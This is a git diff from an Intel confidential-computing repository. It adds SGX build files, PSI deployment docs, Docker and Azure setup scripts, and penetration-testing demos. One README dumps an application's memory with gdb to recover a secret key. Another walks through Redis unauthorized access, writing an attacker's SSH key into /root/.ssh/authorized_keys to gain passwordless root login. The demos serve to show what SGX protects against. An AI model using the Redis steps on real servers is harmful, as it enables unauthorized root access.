SGX_COMMON_FLAGS := -m32 + SGX_LIBRARY_PATH := $(SGX_SDK)/lib + SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x86/sgx_sign + SGX_EDGER8R := $(SGX_SDK)/bin/x86/sgx_edger8r +else + SGX_COMMON_FLAGS := -m64 + SGX_LIBRARY_PATH := $(SGX_SDK)/lib64 + SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x64/sgx_sign + SGX_EDGER8R := $(SGX_SDK)/bin/x64/sgx_edger8r +endif + +ifeq ($(SGX_DEBUG), 1) +ifeq ($(SGX_PRERELEASE), 1) +$(error Cannot set SGX_DEBUG and SGX_PRERELEASE at the same time!!) +endif +endif + +ifeq ($(SGX_DEBUG), 1) + SGX_COMMON_FLAGS += -O0 -g +else + SGX_COMMON_FLAGS += -O2 +endif + +SGX_COMMON_FLAGS += -Wall -Wextra -Winit-self -Wpointer-arith -Wreturn-type \ + -Waddress -Wsequence-point -Wformat-security \ + -Wmissing-include-dirs -Wfloat-equal -Wundef -Wshadow \ + -Wcast-align -Wcast-qual -Wconversion -Wredundant-decls +SGX_COMMON_CFLAGS := $(SGX_COMMON_FLAGS) -Wjump-misses-init -Wstrict-prototypes -Wunsuffixed-float-constants +SGX_COMMON_CXXFLAGS := $(SGX_COMMON_FLAGS) -Wnon-virtual-dtor -std=c++11 + +######## App Settings ######## + +ifneq ($(SGX_MODE), HW) + Urts_Library_Name := sgx_urts_sim +else + Urts_Library_Name := sgx_urts +endif + +App_Cpp_Files := App/App.cpp $(wildcard App/TrustedLibrary/*.cpp) +App_Include_Paths := -IApp -I$(SGX_SDK)/include + +App_C_Flags := -fPIC -Wno-attributes $(App_Include_Paths) + +# Three configuration modes - Debug, prerelease, release +# Debug - Macro DEBUG enabled. +# Prerelease - Macro NDEBUG and EDEBUG enabled. +# Release - Macro NDEBUG enabled. +ifeq ($(SGX_DEBUG), 1) + App_C_Flags += -DDEBUG -UNDEBUG -UEDEBUG +else ifeq ($(SGX_PRERELEASE), 1) + App_C_Flags += -DNDEBUG -DEDEBUG -UDEBUG +else + App_C_Flags += -DNDEBUG -UEDEBUG -UDEBUG +endif + +App_Cpp_Flags := $(App_C_Flags) +App_Link_Flags := -L$(SGX_LIBRARY_PATH) -l$(Urts_Library_Name) -lpthread + +App_Cpp_Objects := $(App_Cpp_Files:.cpp=.o) + +App_Name := app + +######## Enclave Settings ######## + +Enclave_Version_Script := Enclave/Enclave_debug.lds +ifeq ($(SGX_MODE), HW) +ifneq ($(SGX_DEBUG), 1) +ifneq ($(SGX_PRERELEASE), 1) + # Choose to use 'Enclave.lds' for HW release mode + Enclave_Version_Script = Enclave/Enclave.lds +endif +endif +endif + +ifneq ($(SGX_MODE), HW) + Trts_Library_Name := sgx_trts_sim + Service_Library_Name := sgx_tservice_sim +else + Trts_Library_Name := sgx_trts + Service_Library_Name := sgx_tservice +endif +Crypto_Library_Name := sgx_tcrypto + +Enclave_Cpp_Files := Enclave/Enclave.cpp $(wildcard Enclave/TrustedLibrary/*.cpp) +Enclave_Include_Paths := -IEnclave -I$(SGX_SDK)/include -I$(SGX_SDK)/include/libcxx -I$(SGX_SDK)/include/tlibc + +Enclave_C_Flags := -nostdinc -fvisibility=hidden -fpie -fstack-protector $(Enclave_Include_Paths) +Enclave_Cpp_Flags := $(Enclave_C_Flags) -nostdinc++ + +# Enable the security flags +Enclave_Security_Link_Flags := -Wl,-z,relro,-z,now,-z,noexecstack + +# To generate a proper enclave, it is recommended to follow below guideline to link the trusted libraries: +# 1. Link sgx_trts with the `--whole-archive' and `--no-whole-archive' options, +# so that the whole content of trts is included in the enclave. +# 2. For other libraries, you just need to pull the required symbols. +# Use `--start-group' and `--end-group' to link these libraries. +# Do NOT move the libraries linked with `--start-group' and `--end-group' within `--whole-archive' and `--no-whole-archive' options. +# Otherwise, you may get some undesirable errors. +Enclave_Link_Flags := $(Enclave_Security_Link_Flags) \ + -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles -L$(SGX_LIBRARY_PATH) \ + -Wl,--whole-archive -l$(Trts_Library_Name) -Wl,--no-whole-archive \ + -Wl,--start-group -lsgx_tstdc -lsgx_tcxx -l$(Crypto_Library_Name) -l$(Service_Library_Name) -Wl,--end-group \ + -Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \ + -Wl,-pie,-eenclave_entry -Wl,--export-dynamic \ + -Wl,--defsym,__ImageBase=0 \ + -Wl,--version-script=$(Enclave_Version_Script) + +Enclave_Cpp_Objects := $(Enclave_Cpp_Files:.cpp=.o) + +Enclave_Name := enclave.so +Signed_Enclave_Name := enclave.signed.so +Enclave_Config_File := Enclave/Enclave.config.xml + +ifeq ($(SGX_MODE), HW) +ifeq ($(SGX_DEBUG), 1) + Build_Mode = HW_DEBUG +else ifeq ($(SGX_PRERELEASE), 1) + Build_Mode = HW_PRERELEASE +else + Build_Mode = HW_RELEASE +endif +else +ifeq ($(SGX_DEBUG), 1) + Build_Mode = SIM_DEBUG +else ifeq ($(SGX_PRERELEASE), 1) + Build_Mode = SIM_PRERELEASE +else + Build_Mode = SIM_RELEASE +endif +endif + + +.PHONY: all run target +all: .config_$(Build_Mode)_$(SGX_ARCH) + @$(MAKE) target + +ifeq ($(Build_Mode), HW_RELEASE) +target: $(App_Name) $(Enclave_Name) + @echo "The project has been built in release hardware mode." + @echo "Please sign the $(Enclave_Name) first with your signing key before you run the $(App_Name) to launch and access the enclave." + @echo "To sign the enclave use the command:" + @echo " $(SGX_ENCLAVE_SIGNER) sign -key -enclave $(Enclave_Name) -out <$(Signed_Enclave_Name)> -config $(Enclave_Config_File)" + @echo "You can also sign the enclave using an external signing tool." + @echo "To build the project in simulation mode set SGX_MODE=SIM. To build the project in prerelease mode set SGX_PRERELEASE=1 and SGX_MODE=HW." +else +target: $(App_Name) $(Signed_Enclave_Name) +ifeq ($(Build_Mode), HW_DEBUG) + @echo "The project has been built in debug hardware mode." +else ifeq ($(Build_Mode), SIM_DEBUG) + @echo "The project has been built in debug simulation mode." +else ifeq ($(Build_Mode), HW_PRERELEASE) + @echo "The project has been built in pre-release hardware mode." +else ifeq ($(Build_Mode), SIM_PRERELEASE) + @echo "The project has been built in pre-release simulation mode." +else + @echo "The project has been built in release simulation mode." +endif +endif + +run: all +ifneq ($(Build_Mode), HW_RELEASE) + @$(CURDIR)/$(App_Name) + @echo "RUN => $(App_Name) [$(SGX_MODE)|$(SGX_ARCH), OK]" +endif + +.config_$(Build_Mode)_$(SGX_ARCH): + @rm -f .config_* $(App_Name) $(Enclave_Name) $(Signed_Enclave_Name) $(App_Cpp_Objects) App/Enclave_u.* $(Enclave_Cpp_Objects) Enclave/Enclave_t.* + @touch .config_$(Build_Mode)_$(SGX_ARCH) + +######## App Objects ######## + +App/Enclave_u.h: $(SGX_EDGER8R) Enclave/Enclave.edl + @cd App && $(SGX_EDGER8R) --untrusted ../Enclave/Enclave.edl --search-path ../Enclave --search-path $(SGX_SDK)/include + @echo "GEN => $@" + +App/Enclave_u.c: App/Enclave_u.h + +App/Enclave_u.o: App/Enclave_u.c + @$(CC) $(SGX_COMMON_CFLAGS) $(App_C_Flags) -c $< -o $@ + @echo "CC <= $<" + +App/%.o: App/%.cpp App/Enclave_u.h + @$(CXX) $(SGX_COMMON_CXXFLAGS) $(App_Cpp_Flags) -c $< -o $@ + @echo "CXX <= $<" + +$(App_Name): App/Enclave_u.o $(App_Cpp_Objects) + @$(CXX) $^ -o $@ $(App_Link_Flags) + @echo "LINK => $@" + +######## Enclave Objects ######## + +Enclave/Enclave_t.h: $(SGX_EDGER8R) Enclave/Enclave.edl + @cd Enclave && $(SGX_EDGER8R) --trusted ../Enclave/Enclave.edl --search-path ../Enclave --search-path $(SGX_SDK)/include + @echo "GEN => $@" + +Enclave/Enclave_t.c: Enclave/Enclave_t.h + +Enclave/Enclave_t.o: Enclave/Enclave_t.c + @$(CC) $(SGX_COMMON_CFLAGS) $(Enclave_C_Flags) -c $< -o $@ + @echo "CC <= $<" + +Enclave/%.o: Enclave/%.cpp + @$(CXX) $(SGX_COMMON_CXXFLAGS) $(Enclave_Cpp_Flags) -c $< -o $@ + @echo "CXX <= $<" + +$(Enclave_Cpp_Objects): Enclave/Enclave_t.h + +$(Enclave_Name): Enclave/Enclave_t.o $(Enclave_Cpp_Objects) + @$(CXX) $^ -o $@ $(Enclave_Link_Flags) + @echo "LINK => $@" + +$(Signed_Enclave_Name): $(Enclave_Name) + @$(SGX_ENCLAVE_SIGNER) sign -key Enclave/Enclave_private_test.pem -enclave $(Enclave_Name) -out $@ -config $(Enclave_Config_File) + @echo "SIGN => $@" + +.PHONY: clean + +clean: + @rm -f .config_* $(App_Name) $(Enclave_Name) $(Signed_Enclave_Name) $(App_Cpp_Objects) App/Enclave_u.* $(Enclave_Cpp_Objects) Enclave/Enclave_t.* diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/README.md b/cczoo/penetration_testing/memory_attack/sgx/key_generator/README.md new file mode 100644 index 00000000..144d1082 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/README.md @@ -0,0 +1,61 @@ +# Key Generator Application Memory Attack + +## Introduction + +This application is generating keys in memory and implemented based on the Intel SGX SDK. + +It will use the same source code to compile SGX applications and non-SGX applications, and perform memory attacks on them to verify the confidentiality of SGX runtime memory. + +![](key_generator.svg) + +## Application Deployment + +1. Install Intel(R) Software Guard Extensions (Intel(R) SGX) SDK for Linux* OS. + +2. Make sure your environment is set: + ``` + source ${sgx-sdk-install-path}/environment + ``` + +3. Build application: + + - Without Intel SGX Memory Protection + ``` + make clean + make SGX_MODE=SIM SGX_DEBUG=0 + ``` + + - With Intel SGX Memory Protection + ``` + make clean + make SGX_DEBUG=0 + ``` + +4. Execute the binary directly: + + ``` + ./app + ``` + +## Hacker Memory Attack + +1. Dump app's memory via gdb: + ``` + rm -rf core.* + gdb -ex "generate-core-file" -ex "quit" -p `pgrep -f app` + ``` + +2. Parse and find key in dumped file: + ``` + strings ./core.* | grep -n Secret_Key + ``` + + Corresponding output: + + - Without Intel SGX Memory Protection + ``` + 1233:Secret_Key:uLhtfhrxoxTPwQdquZTtKhJcigdJTrHzJTaKBewwwiGhGuEXqNnjuRTfnapTMTAwWJsKMIveISmIVmllxCxHsjPHldjadgqIrreXAwkxMHRCwcOLchYpjKrRlyZIVDAp + ``` + - Intel SGX Memory Protection + + None output. \ No newline at end of file diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/key_generator.svg b/cczoo/penetration_testing/memory_attack/sgx/key_generator/key_generator.svg new file mode 100644 index 00000000..a39fc4dc --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/key_generator.svg @@ -0,0 +1,3 @@ + + +
    Server
    Server
    Privileged gdb
    Privileged gdb
    SGX Enclave
    SGX Enclave
    Key generator
    Key generator
    Key
    Key
    Key generator
    Key generator
    Memory
    Memory
    Key
    Key
    Dump Memory
    Dump Memory
    Text is not SVG - cannot display
    \ No newline at end of file diff --git a/cczoo/penetration_testing/unauthorized_access/redis/README.md b/cczoo/penetration_testing/unauthorized_access/redis/README.md new file mode 100644 index 00000000..622a485e --- /dev/null +++ b/cczoo/penetration_testing/unauthorized_access/redis/README.md @@ -0,0 +1,86 @@ +# Redis Unauthorized Access + +## Introduction + +[Redis](https://redis.io/docs/about/) is a data structure server. At its core, Redis provides a collection of native data types that help you solve a wide variety of problems, from caching to queuing to event processing. + +Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket. + +Unfortunately, many users fail to protect Redis instances from being accessed from external networks. + +When a hacker accesses Redis without password protection running as root, hacker's ssh public key can be written into the target server `/root/.ssh/authotrized_keys` file, and then the target server can be directly logged in through hacker's Private key. + +![](redis.svg) + +## Server Deployment + +1. Watch `/root/.ssh/authorized_keys` file + ``` + watch -n 1 cat /root/.ssh/authorized_keys + ``` + +2. Get server ip + ``` + ifconfig | grep inet + ``` + +3. Install redis-server + ``` + apt-get install redis-server + ``` + +4. Start redis-server + ``` + # check ip + ifconfig | grep inet + + # start redis-server + redis-server --port 7777 --protected-mode no + ``` + +## Hacker Attack + +1. Generate ssh key and certificate + + hacker generate key to `/root/.ssh/id_rsa` and generate certificate to `/root/.ssh/id_rsa.pub`. + + ``` + ssh-keygen -t rsa + cat /root/.ssh/id_rsa + cat /root/.ssh/id_rsa.pub + ``` + +2. Test remote ssh + + After checking, it is found that ssh login to the remote server requests a password, but hacker does not have a corresponding password. + ``` + ssh root@${remote_server} + ``` + +3. Start attack + + Use `redis-cli` to connect with `redis-server`: + + ``` + redis-cli -p 7777 -h ${remote_server} + ``` + + Write local `/root/.ssh/id_rsa.pub` to remote `/root/.ssh/authorized_keys` + + ``` + config set dir /root/.ssh + config set dbfilename authorized_keys + set xxxx "\n\nssh-rsa key_pub\n\n" + get xxxx + save + exit + ``` + + The `ssh-rsa key_pub` is string of file `/root/.ssh/id_rsa.pub`. + +4. Test remote ssh + + After checking, it is found that ssh does not require a password when logging into the remote server. + ``` + ssh root@${remote_server} + ``` diff --git a/cczoo/penetration_testing/unauthorized_access/redis/redis.svg b/cczoo/penetration_testing/unauthorized_access/redis/redis.svg new file mode 100644 index 00000000..79c4af64 --- /dev/null +++ b/cczoo/penetration_testing/unauthorized_access/redis/redis.svg @@ -0,0 +1,3 @@ + + +
    Server
    Server
    Hacker
    Hacker
    redis-server
    redis-server
    redis-cli
    redis-cli
    certificate
    certificate
    key
    key
    ssh-server
    ssh-server
    ssh-cli
    ssh-cli
    /root/.ssh/authorized_keys
    /root/.ssh/authorized_keys
    redis-server
    redis-server
    App
    App
    App
    App
    App
    App
    /root/.ssh/authorized_keys
    /root/.ssh/authorized_keys
    unauthorized
    access
    unauthorized...
    login without password
    login with...
    Text is not SVG - cannot display
    \ No newline at end of file diff --git a/cczoo/psi/README.md b/cczoo/psi/README.md index b0eb65b5..7007fe08 100644 --- a/cczoo/psi/README.md +++ b/cczoo/psi/README.md @@ -8,12 +8,12 @@ There are many implementations of PSI, some of which are based on cryptographic In this Private Set Intersection solution, we adopted a privacy protection computing solution based on Intel SGX technology. ### Encrypted runtime environment -Intel SGX technology offers hardware-based memory encryption that isolates specific application code and data in memory and it allows user-level code to allocate private regions of memory, called enclaves, which are designed to be protected from processes running at higher privilege levels. +Intel SGX technology offers hardware-based memory encryption that isolates specific application code and data in memory, and it allows user-level code to allocate private regions of memory, called enclaves, which are designed to be protected from processes running at higher privilege levels. Intel SGX also helps protect against SW attacks even if OS/drivers/BIOS/VMM/SMM are compromised and helps increase protections for secrets even when attacker has full control of platform. ### Encrypted transmission and remote attestation -In the communication part of Private Set Intersection solution, we use Intel SGX Remote Attestation with Transport Layer Security (RA-TLS) technology to perform encrypted transmission and verification of program integrity.[[1]](#refer-anchor-1) RA-TLS integrates Intel SGX remote attestation with the establishment of a standard Transport Layer Security (TLS) connection. Remote attestation is performed during the connection setup by embedding the attestation evidence into the endpoints TLS certificate. +In the communication part of Private Set Intersection solution, we use Intel SGX Remote Attestation with Transport Layer Security (RA-TLS) technology to perform encrypted transmission and verification of program integrity. RA-TLS integrates Intel SGX remote attestation with the establishment of a standard Transport Layer Security (TLS) connection. Remote attestation is performed during the connection setup by embedding the attestation evidence into the endpoints TLS certificate. ## Privacy protection This solution mainly contains the items listed below: @@ -46,7 +46,7 @@ The computing phase can be divided into the following steps:   **4.** The server side sends the calculation results back to each participant through secure transmission. -In the above process, the client can only obtain the intersection data, but not the non-intersection data belonging to other clients. The server side is only responsible for computing, and will not save or steal the data sent by clients. +In the above process, the client can only obtain the intersection data, but not the non-intersection data belonging to other clients. The server side is only responsible for computing and will not save or steal the data sent by clients. ## Build and installation @@ -58,49 +58,65 @@ images for developing the gRPC RA-TLS application. - Ubuntu 20.04. This solution should work on other Linux distributions as well, but for simplicity we provide the steps for Ubuntu 20.04 only. -- Docker Engine. Docker Engine is an open source containerization technology for +- Docker Engine. Docker Engine is an open-source containerization technology for building and containerizing your applications. Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script) to install Docker engine. - -- Private Set Intersection source package: +- CCZoo Private Set Intersection source package: ```shell git clone https://github.com/intel/confidential-computing-zoo.git ``` - Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. Please follow this guide to install the Intel SGX driver and SDK/PSW on the machine/VM. Make sure to install the driver with ECDSA/DCAP attestation. -After Intel SGX DCAP is setup, verify the Intel Architectural Enclave Service Manager is active (running):: + + For deployments on Microsoft Azure, a script is provided to install general dependencies, Intel SGX DCAP dependencies, and the Azure DCAP Client. To run this script: + + ```shell + cd cczoo/psi + ./setup_azure_vm.sh + ``` + After Intel SGX DCAP is setup, verify the Intel Architectural Enclave Service Manager is active (running): ```shell - sudo systemctl status aesmd + systemctl status aesmd ``` -- Gramine. Follow [Quick Start](https://gramine.readthedocs.io/en/latest/quickstart.html) - to learn more about it. +### Solution Ingredients +This solution uses the following ingredients, which are installed as part of the container build process. +- [Gramine](https://gramine.readthedocs.io) ### Setup docker images -- For Ubuntu: +For Ubuntu: -```bash -cd cczoo/psi/gramine -./build_docker_image.sh ubuntu:20.04 -``` +- For deployments on Microsoft Azure: + ```bash + cd cczoo/psi/gramine + AZURE=1 ./build_docker_image.sh ubuntu:20.04 + ``` +- For other cloud deployments: + ```bash + cd cczoo/psi/gramine + ./build_docker_image.sh ubuntu:20.04 + ``` -- For Anolis OS: +For Anolis OS: -```bash -cd cczoo/common/docker/gramine -./build_docker_image.sh anolisos -cd - -cd cczoo/psi/gramine -./build_docker_image.sh anolisos -``` +- For deployments on Microsoft Azure: Currently not supported. + +- For other cloud deployments: + ```bash + cd cczoo/common/docker/gramine + ./build_docker_image.sh anolisos + cd - + cd cczoo/psi/gramine + ./build_docker_image.sh anolisos + ``` ## Run PSI examples -We use a two-way atttestation scheme. The client and server on both sides of the communication authenticate each other. +This solution uses a two-way attestation scheme. The client and server on both sides of the communication authenticate each other. This example only shows an example of deploying PSI locally. If you want to deploy the participants on different machines, please make sure that the correct measurements are filled in the `dynamic_config.json` file to ensure that the remote verification passes. For example: ```bash @@ -121,119 +137,262 @@ This example only shows an example of deploying PSI locally. If you want to depl ``` ### Prepare the docker container -Start three containers (server, client1, client2, client3). +Start four containers (one server, three clients). ```bash cd cczoo/psi -./start_container.sh ``` +- For deployments on Microsoft Azure: + + In terminal 1, start the server container: + ```bash + ./start_container.sh server + ``` + + In terminal 2, start the client1 container: + ```bash + ./start_container.sh client1 + ``` + + In terminal 3, start the client2 container: + ```bash + ./start_container.sh client2 + ``` + + In terminal 4, start the client3 container: + ```bash + ./start_container.sh client3 + ``` + +- For other cloud deployments: + + In terminal 1, start the server container: + ```bash + ./start_container.sh server + ``` + + In terminal 2, start the client1 container: + ```bash + ./start_container.sh client1 + ``` + + In terminal 3, start the client2 container: + ```bash + ./start_container.sh client2 + ``` + + In terminal 4, start the client3 container: + ```bash + ./start_container.sh client3 + ``` + ### Run the Python example -Build Python example in each container. +For each container (server, client1, client2, client3), build the Python example and note the mr_enclave value from the build output. ```bash -cd CI-Examples/psi/python +cd /gramine/CI-Examples/psi/python ./build.sh ``` +Example mr_enclave value from each container. + +server: +```bash +mr_enclave: 7d61ddedb4b8d3743f61ad255bae0ab56d3e3ad2547ef921476b25ac3ccad5ad +``` + +client1: +```bash +mr_enclave: d65c397169a981d6a6a49c658235e5ac2b3f86944f957d942d406c79049e135a +``` + +client2: +```bash +mr_enclave: 39d2753b9c9a3da298edb685e5a436f921227956454a54b3f73881db350486e6 +``` + +client3: +```bash +mr_enclave: 7762afd0bb1adf5374bf9737f6d7b102ae585f04b675bca64125761bb050787b +``` +Modify /gramine/CI-Examples/psi/python/dynamic_config.json in each container as described below. Do not copy and paste the following example values. Use the actual mr_enclave values from your containers. + +From the server container, modify /gramine/CI-Examples/psi/python/dynamic_config.json to include sgx_mrs entries containing the mr_enclave value for each client. For example: +```bash +{ + "verify_mr_enclave": "on", + "verify_mr_signer": "on", + "verify_isv_prod_id": "on", + "verify_isv_svn": "on", + "sgx_mrs": [ + { + "mr_enclave": "d65c397169a981d6a6a49c658235e5ac2b3f86944f957d942d406c79049e135a", + "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3", + "isv_prod_id": "0", + "isv_svn": "0" + }, + { + "mr_enclave": "39d2753b9c9a3da298edb685e5a436f921227956454a54b3f73881db350486e6", + "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3", + "isv_prod_id": "0", + "isv_svn": "0" + }, + { + "mr_enclave": "7762afd0bb1adf5374bf9737f6d7b102ae585f04b675bca64125761bb050787b", + "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3", + "isv_prod_id": "0", + "isv_svn": "0" + } + ] +} +``` -Run the script for the corresponding job in each container. +From the client1, client2, client3 containers, modify /gramine/CI-Examples/psi/python/dynamic_config.json to include a sgx_mrs entry containing the mr_enclave value for the server. For example: +```bash +{ + "verify_mr_enclave": "on", + "verify_mr_signer": "on", + "verify_isv_prod_id": "on", + "verify_isv_svn": "on", + "sgx_mrs": [ + { + "mr_enclave": "7d61ddedb4b8d3743f61ad255bae0ab56d3e3ad2547ef921476b25ac3ccad5ad", + "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3", + "isv_prod_id": "0", + "isv_svn": "0" + } + ] +} +``` + +For each container (server, client1, client2, client3), run the specified script as described below. - Two-party: +server: ```bash -# Run the server gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json +``` -# Run the client1 +client1: +```bash gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 2 +``` -# Run the client2 +client2: +```bash gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 2 ``` -Each client will get the intersection result: +Each client will return the following intersection result: ```shell ['car', 'cat', 'train'] ``` +In the server container, use Ctrl-C to stop the server process. + - Three-party: +server: ```bash -# Run the server gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json +``` -# Run the client1 +client1: +```bash gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 3 +``` -# Run the client2 +client2: +```bash gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 3 +``` -# Run the client3 +client3: +```bash gramine-sgx python -u data_provider3.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data3.txt" -client_num 3 ``` -Each client will get the intersection result: +Each client will return the following intersection result: ```shell ['train', 'car', 'cat'] ``` +In the server container, use Ctrl-C to stop the server process. + ### Run the C++ example - -Build C++ example in each container. + +Before performing the steps below, the Python example must be built first (as described in the previous section). + +For each container (server, client1, client2, client3), build the C++ example. ```bash -cd CI-Examples/psi/cpp +cd /gramine/CI-Examples/psi/cpp ./build.sh ``` -Run the script for the corresponding job in each container. +For each container (server, client1, client2, client3), run the specified script as described below. - Two-party: +server: ```bash -# Run the server -cd runtime/server +cd /gramine/CI-Examples/psi/cpp/runtime/server gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json +``` -# Run the client1 -cd runtime/data_provider1 +client1: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider1 gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=2 data_dir="data1.txt" client_name="data_provider1" +``` -# Run the client2 -cd runtime/data_provider2 +client2: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider2 gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=2 data_dir="data2.txt" client_name="data_provider2" ``` -Each client will get the intersection result: +Each client will return the following intersection result: ```shell car cat train ``` +In the server container, use Ctrl-C to stop the server process. + - Three-party: +server: ```bash -# Run the server -cd runtime/server -gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json & +cd /gramine/CI-Examples/psi/cpp/runtime/server +gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json +``` -# Run the client1 -cd runtime/data_provider1 +client1: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider1 gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=3 data_dir="data1.txt" client_name="data_provider1" +``` -# Run the client2 -cd runtime/data_provider2 +client2: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider2 gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data2.txt" client_name="data_provider2" +``` -# Run the client3 -cd runtime/data_provider3 +client3: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider3 gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data3.txt" client_name="data_provider3" ``` -Each client will get the intersection result: +Each client will return the following intersection result: ```shell car cat train ``` + +In the server container, use Ctrl-C to stop the server process. diff --git a/cczoo/psi/gramine/build_docker_image.sh b/cczoo/psi/gramine/build_docker_image.sh index ee87903f..c9f19b19 100644 --- a/cczoo/psi/gramine/build_docker_image.sh +++ b/cczoo/psi/gramine/build_docker_image.sh @@ -1,3 +1,4 @@ +#!/bin/bash # # Copyright (c) 2022 Intel Corporation # @@ -13,7 +14,6 @@ # See the License for the specific language governing permissions and # limitations under the License. -#!/bin/bash set -e if [ "$1" == "anolisos" ] ; then @@ -22,6 +22,12 @@ else base_image=ubuntu:20.04 fi +if [ -z "$AZURE" ] ; then + azure= +else + azure=1 +fi + # You can remove no_proxy and proxy_server if your network doesn't need it no_proxy="localhost,127.0.0.1" proxy_server="" # your http proxy server @@ -43,6 +49,7 @@ DOCKER_BUILDKIT=0 docker build \ --build-arg http_proxy=${proxy_server} \ --build-arg https_proxy=${proxy_server} \ --build-arg BASE_IMAGE=${base_image} \ + --build-arg AZURE=${azure} \ -f psi-gramine-sgx-dev.dockerfile \ -t psi \ .. diff --git a/cczoo/psi/gramine/psi-gramine-sgx-dev.dockerfile b/cczoo/psi/gramine/psi-gramine-sgx-dev.dockerfile index a5418b54..06601154 100644 --- a/cczoo/psi/gramine/psi-gramine-sgx-dev.dockerfile +++ b/cczoo/psi/gramine/psi-gramine-sgx-dev.dockerfile @@ -17,6 +17,9 @@ ARG BASE_IMAGE FROM ${BASE_IMAGE} +# Optional build argument to select a build for Azure +ARG AZURE + ENV DEBIAN_FRONTEND=noninteractive ENV INSTALL_PREFIX=/usr/local ENV LD_LIBRARY_PATH=${INSTALL_PREFIX}/lib:${INSTALL_PREFIX}/lib/x86_64-linux-gnu:${LD_LIBRARY_PATH} @@ -58,7 +61,29 @@ RUN wget -qO - https://download.01.org/intel-sgx/sgx_repo/ubuntu/intel-sgx-deb.k RUN apt-get install -y libsgx-pce-logic libsgx-ae-qve libsgx-quote-ex libsgx-quote-ex-dev libsgx-qe3-logic sgx-aesm-service # Install SGX-DCAP -RUN apt-get install -y libsgx-dcap-ql-dev libsgx-dcap-default-qpl libsgx-dcap-quote-verify-dev libsgx-dcap-default-qpl-dev +RUN apt-get install -y libsgx-dcap-ql-dev libsgx-dcap-quote-verify-dev + +# Install SGX-DCAP quote provider library +RUN if [ -z "$AZURE" ]; then \ + # Not a build for Azure, so install the default quote provider library \ + apt-get install -y libsgx-dcap-default-qpl libsgx-dcap-default-qpl-dev; \ + else \ + # Build for Azure, so install the Azure DCAP Client (Release 1.10.0) \ + AZUREDIR=/azure \ + && apt-get install -y libssl-dev libcurl4-openssl-dev pkg-config software-properties-common \ + && add-apt-repository ppa:team-xbmc/ppa -y \ + && apt-get update \ + && apt-get install -y nlohmann-json3-dev \ + && git clone https://github.com/microsoft/Azure-DCAP-Client ${AZUREDIR} \ + && cd ${AZUREDIR} \ + && git checkout 1.10.0 \ + && git submodule update --recursive --init \ + && cd src/Linux \ + && ./configure \ + && make DEBUG=1 \ + && make install \ + && cp libdcap_quoteprov.so /usr/lib/x86_64-linux-gnu/; \ + fi # Gramine ENV GRAMINEDIR=/gramine @@ -101,6 +126,8 @@ RUN cd ${GRAMINEDIR}/subprojects/cJSON* \ && mkdir -p ${INSTALL_PREFIX}/include/cjson \ && cp -r *.h ${INSTALL_PREFIX}/include/cjson +RUN pip3 install cryptography + RUN gramine-sgx-gen-private-key COPY configs / diff --git a/cczoo/psi/setup_azure_vm.sh b/cczoo/psi/setup_azure_vm.sh new file mode 100755 index 00000000..f406943a --- /dev/null +++ b/cczoo/psi/setup_azure_vm.sh @@ -0,0 +1,38 @@ +#!/usr/bin/bash +# +# Copyright (c) 2022 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# exit when any command fails +set -e + +# Install general dependencies +sudo apt-get install -y libcurl4-openssl-dev libssl-dev pkg-config +sudo add-apt-repository ppa:team-xbmc/ppa -y +sudo apt-get update +sudo apt-get install nlohmann-json3-dev + +# Install Intel SGX DCAP dependencies +echo "deb [trusted=yes arch=amd64] https://download.01.org/intel-sgx/sgx_repo/ubuntu focal main" | sudo tee /etc/apt/sources.list.d/intel-sgx.list +wget -qO - https://download.01.org/intel-sgx/sgx_repo/ubuntu/intel-sgx-deb.key | sudo 